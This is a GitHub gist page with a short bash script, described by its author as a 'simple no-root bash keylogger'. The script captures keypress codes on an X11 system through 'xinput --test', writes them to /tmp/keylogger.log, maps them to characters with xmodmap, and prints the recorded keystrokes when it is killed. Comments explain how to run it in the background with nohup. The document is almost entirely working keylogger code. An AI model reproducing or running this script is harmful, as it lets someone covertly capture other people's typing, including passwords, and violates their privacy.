Skip to content

Instantly share code, notes, and snippets.

@atcasanova
Created September 19, 2019 19:04
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save atcasanova/de7f2e250349cfde3eb5866891489041 to your computer and use it in GitHub Desktop.
Save atcasanova/de7f2e250349cfde3eb5866891489041 to your computer and use it in GitHub Desktop.
simple no-root bash keylogger (easier than you thought)
#!/bin/bash
# you'll have to get your keyboard id from xinput --list
# then start it like nohup ./keyboard.sh & and write down the pid
# shown. When you're done, just kill $pid and it will print the recorded
# keystrokes
handler(){
killall -9 xinput
while read line; do
sed "s|$line|${mapa[$line]}|" <<< $line
done < /tmp/keylogger.log | tr -d '\n'
rm /tmp/keylogger.log
exit
}
trap handler SIGKILL KILL SIGINT INT SIGTERM TERM
# charmap
eval $(xmodmap -pke | grep -Eo "[0-9]+ = [^ ]+" | sed 's/^/[/g;s/ = /]=/g' |\
tr '\n' ' ' |\
sed 's/^/mapa=( /g;s/$/ )/' | \
sed 's/Return/"[Enter]"/;
s/space/" "/;
s/KP_Insert/0/;
s/KP_End/1/;
s/KP_Begin/5/;
s/KP_Home/7/;
s/KP_Next/3/;
s/KP_Left/4/;
s/KP_Right/6/;
s/KP_Down/2/;
s/KP_Up/8/;
s/KP_Prior/9/;
s/KP_Multiply/"*"/;
s/KP_Subtract/"-"/;
s/KP_Delete/,/;
s-KP_Divide-\"\\\/\"-;
s/KP_Enter/[Enter]/;
s/BackSpace/"[backspace]"/;
s/backslash/\"\\\\\\\\\"/;
s/semicolon/";"/;
s/Caps_Lock/[caps]/;
s/=minus/="-"/;
s/equal/"="/;
s/bracketleft/"["/;
s/bracketright/"]"/;
s/Tab/"[Tab]"/;
s/period/"."/;
s/Control_[LR]/[control]/g;
s/Alt_[LR]/[alt]/g;
s/Shift_[LR]/[shift]/g;
s/dead_tilde/"~"/;
s/=\(F[0-9]\{1,2\}\)/=[\1]/g;
s/ccedilla/ç/;
s/comma/,/;
s/dead_acute/"´"/' | sed "s/apostrophe/\"'\"/;s-slash-\"\\\/\"-")
# see your keyboard id: xinput --list
xinput --test $keyboard_id | grep --line-buffered -Po "(?<=press )[0-9]*" > /tmp/keylogger.log &
while true; do
:
done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment